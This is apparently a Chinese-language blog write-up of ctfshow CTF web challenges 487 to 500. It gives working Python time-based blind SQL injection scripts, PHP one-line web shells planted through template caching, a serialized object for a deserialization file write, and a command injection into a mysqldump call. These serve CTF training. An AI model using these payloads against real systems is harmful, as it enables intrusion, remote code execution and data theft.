ctfshow-中期测评


web487

  • 读取源码,发现username存在sql盲注,跑脚本
import requests

url = "http://df8c5989-6a5e-4cb0-896c-1c36c71fa377.challenge.ctf.show:8080/index.php?action=check&username="

end = "&password=1"

strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"
def get_table_name():
    ret = ''
    for x in range(1,10):
        for y in strings:
            payload = "') union select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(2),1)--+".format(x,y)
            try:
                response = requests.get(url+payload+end,timeout=2)
                #print(response.url)
            except:
                ret+=y
                print(ret)
    return ret
def get_flag_columns():
    columns = ''
    for x in range(1,50):
        for y in strings:
            payload = "') union select if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),{},1)='{}',sleep(2),1)--+".format(
                x, y)
            try:
                response = requests.get(url + payload + end, timeout=2)
                # print(response.url)
            except:
                columns += y
                print(columns)
                break
        if y=='@':
            break
    return columns
def get_flag():
    flag = ''
    for x in range(17, 50):
        for y in strings:
            payload = "') union select if(substr((select flag from flag),{},1)='{}',sleep(2),1)--+".format(
                x, y)
            try:
                response = requests.get(url + payload + end, timeout=2)
                # print(response.url)
            except:
                flag += y
                print(flag)
                break
        if y =='@':
            break
    return flag
if __name__=='__main__':
    #flag,user
    ret=get_table_name()
    print(ret)
    #flag
    #columns=get_flag_columns()
    #flag = get_flag()
    #print(flag)

    #ctfshow{5dedc595-d2ef-43be-a2c0-988d91795221}

web488

  • 查看源码,通过action参数把每个文件下载下来

image-20211011223736082

  • index.php
if($action=='check'){
    $username=$_GET['username'];
    $password=$_GET['password'];
    $sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
    $user=db::select_one($sql);
    if($user){
        templateUtil::render('index',array('username'=>$username));
    }else{
        templateUtil::render('error',array('username'=>$username));
    }
}

由于不知道usename,password,if语句不会执行,执行else语句

跟进render函数

render_class.php

class templateUtil {
    public static function render($template,$arg=array()){//$template就是error
        if(cache::cache_exists($template)){
            echo cache::get_cache($template);
        }else{
            $templateContent=fileUtil::read('templates/'.$template.'.php'); //读取error.php的内容
            $cache=templateUtil::shade($templateContent,$arg);
            cache::create_cache($template,$cache);//把转换后的内容写进文件,注意写进之后文件内容就无法改变
            echo $cache;
        }
    }
    public static  function shade($templateContent,$arg){ //$arg就是我们输入的username=我们输入的东西
        foreach ($arg as $key => $value) {
            $templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);//把键名换成值,这是我们可控的
        }
        return $templateContent;
    }

}

跟进cache类:

class cache{
    public static function create_cache($template,$content){ //$templates是error
        if(file_exists('cache/'.md5($template).'.php')){
            return true;
        }else{
            fileUtil::write('cache/'.md5($template).'.php',$content);
        }
    }
    public static function get_cache($template){
        return fileUtil::read('cache/'.md5($template).'.php');
    }
    public static function cache_exists($template){
        return file_exists('cache/'.md5($template).'.php');
    }

}

跟进fileUtil类:

class fileUtil{

    public static function read($filename){
        return file_get_contents($filename);//读取文件内容
    }

    public static function write($filename,$content,$append =0){
        if($append){
            file_put_contents($filename, $content,FILE_APPEND);
        }else{
            file_put_contents($filename, $content);
        }
    }
}
  1. 由上面的分析可以知道,我们可控的参数是usename
  2. 由于不能调用if语句,而调用else语句,也就是调用templateUtil的静态render方法,参数是error以及我们输入的username的值和username组成的数组
  3. render函数中调用了cache的静态函数,首先会判断/cache/md5(error).php文件存不存在,不存在的话调用fileUtil的静态read函数,来读取templates/error.php的内容(题目环境本身就有,而且该文件的内容有{{username}}这样一个字符串)
  4. 读取完文件的内容之后,把{{username}}中的username替换成我们输入的内容(这里就想到能写入一句话),替换完之后,调用cache类的静态create_cache函数,也就是把替换完之后的字符串写进cache/md5(error).php文件中(这个文件就相当于一句话文件)

注意:

md5(error)需要转换成真正的md5值

执行过程:

  • 重开环境写入一句话:
?action=check&username=<?php @eval($_POST[1]);?>&password=1
  • 访问cache/md5(error).php,执行一句话
http://d50aae2e-5c83-49f0-b3e8-de3f61842acf.challenge.ctf.show:8080/cache/cb5e100e5a9a3e7f6d1fd97512215282.php

image-20211011230743830

web489

  • 扒源码:

    if($action=='check'){
        $sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
        extract($_GET);
        $user=db::select_one($sql);
        if($user){
            templateUtil::render('index',array('username'=>$username));
        }else{
            templateUtil::render('error');
        }
    }

index.php中不再允许error写入,但是我们可以控制GET参数,那么我们就可以重写sql语句,通过if语句执行写进一句话木马

?action=check&usename=<?php eval($_POST[1]);phpinfo();?>&sql=select 1;

直接访问/cache/6a992d5529f459a44fee58c733255e86.php执行一句话

web490

  • index.php页面,调用的参数查询结果的参数
if($action=='check'){
    extract($_GET);
    $sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
    $user=db::select_one($sql);
    if($user){
        templateUtil::render('index',array('username'=>$user->username));
    }else{
        templateUtil::render('error');
    }
}

user查到结果之后,调用username属性,也就是将username的字符串写进页面

查看其他页面:

cache类:

写的时候包含了短标签,所以我们只需要写一句话

?action=check&username=' union select 'eval($_POST[1]);' as username;%23&password=1
  • 之后访问cache/6a992d5529f459a44fee58c733255e86.php,rce

web491

  • 不能写马,继续利用sql延时注入
import requests

url = "http://40da41b8-5a42-4bc6-8e5e-13ba1b05e5ae.challenge.ctf.show/?action=check&username="

end = "&password=1"

strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"
def get_table_name():
    ret = ''
    for x in range(1,10):
        for y in strings:
            payload = "') union select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(2),1)--+".format(x,y)
            try:
                response = requests.get(url+payload+end,timeout=2)
                #print(response.url)
            except:
                ret+=y
                print(ret)
    return ret
def get_flag_columns():
    columns = ''
    for x in range(1,50):
        for y in strings:
            payload = "') union select if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),{},1)='{}',sleep(2),1)--+".format(
                x, y)
            try:
                response = requests.get(url + payload + end, timeout=2)
                # print(response.url)
            except:
                columns += y
                print(columns)
                break
        if y=='@':
            break
    return columns
def get_flag():
    flag = ''
    for x in range(17, 50):
        for y in strings:
            payload = "') union select if(substr((select flag from flag),{},1)='{}',sleep(2),1)--+".format(
                x, y)
            try:
                response = requests.get(url + payload + end, timeout=2)
                # print(response.url)
            except:
                flag += y
                print(flag)
                break
        if y =='@':
            break
    return flag
def get_flag2():
    flag = ''
    for x in range(1, 50):
        for y in strings:
            payload = "' or 1=1 and if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1)--+".format(
                x, y)
            try:
                response = requests.get(url + payload + end, timeout=2)
                # print(response.url)
            except:
                flag += y
                print(flag)
                break
        if y == '@':
            break
    return flag
if __name__=='__main__':
    #flag,user
    ret=get_table_name()
    print(ret)
    #flag
    #columns=get_flag_columns()
    flag = get_flag2()
    print(flag)

    #ctfshow{5dedc595-d2ef-43be-a2c0-988d91795221}
    #ctfshow{a39a6668-e2b3-4039-89df-1c3a6580d983}

修改payload:

payload = "' or 1=1 and if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1)--+".format(
                x, y)

web492

  • 看源码:
$action=$_GET['action'];
if($action=='check'){
    extract($_GET);
    if(preg_match('/^[A-Za-z0-9]+$/', $username)){
        $sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
        $user=db::select_one_array($sql);
    }
    if($user){//$user没有初始化
        templateUtil::render('index',$user);
    }else{
        templateUtil::render('error');
    }
}
  • cache_class.php
public static  function shade($templateContent,$arg){ //参数是一个数组
    foreach ($arg as $key => $value) {
        $templateContent=str_replace('{{'.$key.'}}', '<?='.$value.'?>', $templateContent); //尝试绕过数组
    }
    return $templateContent;
}
  • extract覆盖$user的值,绕过注释,并且$user必须是个数组(参数限制)
?action=check&user[username]=A--><?php eval($_POST[1]);?><!--B&username=!&password=1

image-20211014165359554

  • 访问cache/6a992d5529f459a44fee58c733255e86.php页面:

image-20211014165551877

web493

  • 查看源码

index.php:

$action=$_GET['action'];
if(!isset($action)){
    if(isset($_COOKIE['user'])){
        $c=$_COOKIE['user'];
        $user=unserialize($c);
        if($user){
            templateUtil::render('index');
        }else{
            header('location:index.php?action=login');
        }
    }else{
        header('location:index.php?action=login');
    }
    die();
}

if($action=='check'){
    extract($_GET);
    if(preg_match('/^[A-Za-z0-9]+$/', $username)){
        $sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
        $db=new db();
        $user=$db->select_one($sql);
    }
    if($user){
        setcookie('user',$user);
        templateUtil::render('index');
    }else{
        templateUtil::render('error');
    }
}
  • 如果没有action,则会检查cookieuser值存不存在,如果存在则调用反序列化,
  • 提交了action,如果action=check则会调用反序列户的方法,将cookie里的user值进行反序列

db_class.php:

class dbLog{
    public $sql;
    public $content;
    public $log;

    public function __construct(){
        $this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
    }
    public function log($sql){
        $this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
    }
    public function __destruct(){
        file_put_contents($this->log, $this->content,FILE_APPEND);
    }
}
  • 这个类的析构函数调用时,会写入文件,而且由于cookie的参数可控,那么dblog的属性也可控

解题方法:

  1. check覆盖user(添加cookie值)

    • 获取user值的序列化字符串
    <?php
    class dbLog{
        public $sql;
        public $content = '<?php eval($_POST[1]);?>';
        public $log;
    
        public function __construct(){
            $this->log='/var/www/html/1.php';
        }
        public function __destruct(){
            file_put_contents($this->log, $this->content,FILE_APPEND);
        }
    }
    
    $a = new dblog();
    echo urlencode(serialize($a));
    
    O%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2F1.php%22%3B%7D
?action=check&user=O%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2F1.php%22%3B%7D
  1. 不添加action访问一遍主页,之后访问1.php,密码是1,执行rce

image-20211015082725904

web494

  • 尝试利用sql查询,因为$user是查询结果,会被输出
?action=check&username=' || if(2>1,sleep(3),1);%23

存在延时,由于不知道列名,使用无列名注入

image-20211015105502042

截取第一行:

image-20211015105618534

尝试盲注:

?action=check&username=' || if((substr((select `3` from(select 1,2,3 union select * from flag)a limit 1,1),1,1)='c'),sleep(3),1);%23

image-20211015105836787

之前的sql脚本加一个get_flag3()

import requests

url = "http://099d2692-4e28-4d34-a231-0af180b032a7.challenge.ctf.show/index.php?action=check&username="

end = "&password=1"

strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"
def get_table_name():
    ret = ''
    for x in range(1,10):
        for y in strings:
            payload = "') union select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(2),1)--+".format(x,y)
            try:
                response = requests.get(url+payload+end,timeout=2)
                #print(response.url)
            except:
                ret+=y
                print(ret)
    return ret
def get_flag_columns():
    columns = ''
    for x in range(1,50):
        for y in strings:
            payload = "') union select if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),{},1)='{}',sleep(2),1)--+".format(
                x, y)
            try:
                response = requests.get(url + payload + end, timeout=2)
                # print(response.url)
            except:
                columns += y
                print(columns)
                break
        if y=='@':
            break
    return columns
def get_flag():
    flag = ''
    for x in range(17, 50):
        for y in strings:
            payload = "') union select if(substr((select flag from flag),{},1)='{}',sleep(2),1)--+".format(
                x, y)
            try:
                response = requests.get(url + payload + end, timeout=2)
                # print(response.url)
            except:
                flag += y
                print(flag)
                break
        if y =='@':
            break
    return flag
def get_flag2():
    flag = ''
    for x in range(1, 50):
        for y in strings:
            payload = "' or 1=1 and if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1)--+".format(
                x, y)
            try:
                response = requests.get(url + payload + end, timeout=2)
                # print(response.url)
            except:
                flag += y
                print(flag)
                break
        if y == '@':
            break
    return flag
def get_flag3():
    flag = ''
    for x in range(1, 50):
        for y in strings:
            payload = "'|| if((substr((select `3` from(select 1,2,3 union select * from flag)a limit 1,1),{},1)='{}'),sleep(2),1)%23".format(x,y)
            try:
                response = requests.get(url + payload, timeout=2)
                # print(response.url)
            except:
                flag += y
                print(flag)
                break
        if y == '@':
            break
    return flag
if __name__=='__main__':
    #flag,user
    #ret=get_table_name()
    #print(ret)
    #flag
    #columns=get_flag_columns()
    #flag = get_flag2()
    #print(flag)
    flag = get_flag3()
    print(flag)
    #ctfshow{5dedc595-d2ef-43be-a2c0-988d91795221}

image-20211015111908337

或者,直接在username进行无列名注入:

?action=check&username=' union select `3` from(select 1,2,3 union select * from flag)a limit 1,1;%23

image-20211015111753743

image-20211015111706974

web495

  • 拿脚本爆表名:
import requests

url = "http://9480fc2e-cef0-4989-a635-1f74ed79e631.challenge.ctf.show/index.php?action=check"

end = "&password=1"

strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"


def get_table_name_by_post():
    ret = ''
    for x in range(1, 10):
        for y in strings:
            try:
                data = {
                    'username': "' union select 1,if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(2),1);#".format(x, y),
                    'password':"1"
                }
                response = requests.post(url,data=data, timeout=2)
                # print(response.url)
            except:
                ret += y
                print(ret)
                break
        if y=='@':
            break
    return ret
  
  if __name__=='__main__':
    table_name=get_table_name_by_post()
    print(table_name)

image-20211015174500802

  • 查列名:
import requests

url = "http://24dd7c9d-31b5-4614-a1e3-a85105be90ed.challenge.ctf.show/index.php?action=check"

end = "&password=1"

strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"


def get_table_name_by_post():
    ret = ''
    for x in range(1, 20):
        for y in strings:
            try:
                data = {
                    'username': "' union select 1,if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(2),1);#".format(x,y),
                    'password':"1"
                }
                response = requests.post(url,data=data, timeout=2)
                # print(response.url)
            except:
                ret += y
                print(ret)
                break
        if y=='@':
            break
    return ret

def get_column_name_by_post():
    ret = ''
    for x in range(1, 40):
        for y in strings:
            try:
                data = {
                    'username': "' union select 1,if(substr((select column_name from information_schema.columns where table_name='flagyoudontknow' limit 2,1),{},1)='{}',sleep(2),1);#".format(x,y),
                    'password':"1"
                }
                response = requests.post(url,data=data, timeout=2)
                #print(response.url)
            except:
                ret += y
                print(ret)
                break
        if y=='@':
            break
if __name__=='__main__':
     column_name=get_column_name_by_post()
     print(column_name)
  • 爆flag
import requests

url = "http://24dd7c9d-31b5-4614-a1e3-a85105be90ed.challenge.ctf.show/index.php?action=check"

end = "&password=1"

strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"
def get_flag_by_post():
    flag = ''
    for x in range(1, 50):
        for y in strings:
            try:
                data = {
                    'username': "' union select 1,if(substr((select flagisherebutyouneverknow from flagyoudontknow),{},1)='{}',sleep(2),1);#".format(
                x, y),
                    'password': "1"
                }
                response = requests.post(url,data=data,timeout=2)
                # print(response.url)
            except:
                flag += y
                print(flag)
                break
        if y =='@':
            break
    return flag
  if __name__=='__main__':
    flag = get_flag_by_post()
    print(flag)

image-20211015192751916

web496

  • 查看index.php
switch ($action) {
    case 'check':
        $username=$_POST['username'];
        $password=$_POST['password'];
        if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){
            $sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
            $db=new db();
            $user=$db->select_one_array($sql);
        }
        if($user){
            $_SESSION['user']=$user;
            header('location:index.php?action=index');
        }else{
            templateUtil::render('error');
        }
     case 'view':
        $user=$_SESSION['user'];
        if($user){
            templateUtil::render($_GET['page'],$user);
        }else{
            header('location:index.php?action=login');
        }
        break;

render_class.php:


<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-03-08 17:52:18
# @Last Modified by:   h1xa
# @Last Modified time: 2021-03-14 09:23:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.php');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
		}
		return $templateContent;
	}

}

render函数不能写,我们无法利用写shell

尝试一下注入

username=' union select 1,2%23

image-20211015200338753

  • 修改昵称尝试抓包

image-20211015201652873

读取源码:

api/admin_edit.php


<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-03-15 04:27:41
# @Last Modified by:   h1xa
# @Last Modified time: 2021-03-15 05:36:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
include('../render/db_class.php');

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
	$db=new db();
	if($db->update_one($sql)){
		$_SESSION['user']['nickname']=$nickname;
		$ret['msg']='管理员信息修改成功';
	}else{
		$ret['msg']='管理员信息修改失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}



image-20211015200505792

  • 由图可知登陆名称是username,显示名称是nickname
  • sql语句中可能存在注入,尝试盲注
  • 上面的1就是username中存在sql注入,尝试修改1为sql语句,而且sql语句还过滤了or

image-20211015204320918

  • 访问api/admin_edit.php会发现有延时

  • $user['name']很显然可以被我们覆盖,所以写脚本逻辑:

    • 先访问?admin=check,传递username参数,获取session值
    • 再访问api/admin_edit.php,由于session值满足if条件,我们直接覆盖$user['username'],进行sql注入

    image-20211015225153388

    image-20211015230334545

  • 写脚本:

import requests
import random
url1 = "http://8741a903-9c0f-4f32-b6b0-8768b429fbad.challenge.ctf.show/index.php?action=check"
url2 = "http://8741a903-9c0f-4f32-b6b0-8768b429fbad.challenge.ctf.show/api/admin_edit.php"

data = {
    'username':"' || 1#",
    'password': "1"
}
session = requests.session()
session.post(url=url1,data=data)

flag = ''
for i in range(1,60):
    header = 32
    tail = 127
    while header<tail:
        mid = (header+tail)>>1
        #payload="' or if((ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{},1))>{}),1,0)#".format(i,mid)
        #flagyoudontknow76,user
        #payload = "' or if((ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_schema=database() and table_name='flagyoudontknow76')),{},1))>{}),1,0)#".format(i, mid)
        #id,tempdatayouneverknowit32,flagisherebutyouneverknow118
        payload = "' or if((ascii(substr((select/**/flagisherebutyouneverknow118/**/from/**/flagyoudontknow76),{},1))>{}),1,0)#".format(i, mid)
        data = {
            "user[username]": payload,
            'nickname':random.randint(0,9999999)
        }
        response = session.post(url=url2,data=data)
        if 'u529f' in response.text:
            header = mid + 1
        else:
            tail = mid
    if header!=32:
        flag+=chr(header)
        print(flag)
    else:
        break

image-20211015230629845

image-20211015225016876

web497

  • 查看代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-03-08 15:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2021-03-15 07:34:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];


if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		if(!preg_match('/\:|\,/', $c)){
			$user=unserialize($c);
		}
		if($user){
			templateUtil::render('index');
		}else{
			header('location:index.php?action=login');
		}
	}else{
		header('location:index.php?action=login');
	}
	die();	
}

switch ($action) {
	case 'check':
		$username=$_POST['username'];
		$password=$_POST['password'];
		if(!preg_match('/file|or|innodb|sys|mysql/i', $username)){
			$sql = "select username,nickname,avatar from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
			$db=new db();
			$user=$db->select_one_array($sql);
		}
		if($user){
			$_SESSION['user']=$user;
			header('location:index.php?action=index');
		}else{
			templateUtil::render('error');
		}
		break;
	case 'clear':
		system('rm -rf cache/*');
		die('cache clear');
		break;
	case 'login':
		templateUtil::render($action);
		break;
	case 'index':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render('index',$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'view':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render($_GET['page'],$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'logout':
		session_destroy();
		header('location:index.php?action=login');
		break;
	default:
		templateUtil::render($action);
		break;
}

  • 先登录管理员账号:

image-20211015233228263

?action=check
POST:
username=' || 1#&password=1
  • 尝试修改头像

image-20211015232902743

  • 这个页面也可以看到api/admin_edit.php,读取源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-03-15 04:27:41
# @Last Modified by:   h1xa
# @Last Modified time: 2021-03-15 07:45:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
include('../render/db_class.php');

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	$user= $_SESSION['user'];
	if(preg_match('/\'|\"|\\\/', $avatar)){//过滤了单双引好和反斜线
		$ret['msg']='存在无效字符';
		die(json_encode($ret));
	}
	$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";//可以对$avatar进行覆盖
	$db=new db();
	if($db->update_one($sql)){
		$_SESSION['user']['nickname']=$nickname;
		$_SESSION['user']['avatar']=$avatar;
		$ret['msg']='管理员信息修改成功';
	}else{
		$ret['msg']='管理员信息修改失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}
  • 访问api/admin_edit.php,提交avatar参数修改为flag文件

image-20211015233541676

  • 确保修改成功之后,在管理后台右键检查

image-20211015233632954

  • base64解码:

image-20211015233708151

web498

  • 先登录上去,后台管理页面查看源代码

image-20211017075409750

  • 查看api/index.php代码

  • 利用工具生成gopher请求,直接修改头像地址

image-20211017141448112

web499

  • 登陆进后台页面,尝试修改信息

image-20211019085803823

  • 查看render/render_class.php页面源代码
public static function checkConfig($templateContent){
	$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
	foreach ($config as $key => $value) {
		if(stripos($templateContent, '{{config:'.$key.'}}')){
			$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
		}
		
	}
	return $templateContent;
}
  • 查看config/settings.php代码

image-20211019090134216

  • 直接rce

web500

  • 登陆进管理后台,发现有新的数据库管理界面,右键查看源代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-03-16 17:22:29
# @Last Modified by:   h1xa
# @Last Modified time: 2021-03-16 19:17:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();


error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);


	if(file_exists(__DIR__.'/../backup/'.$db_path)){
		$ret['msg']='数据库备份成功';
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

  • $db_path可控,payload
post:
1;echo '<?php eval($_POST[1]);?>' > /var/www/html/1.php
  • 访问1.php,进行rce

文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录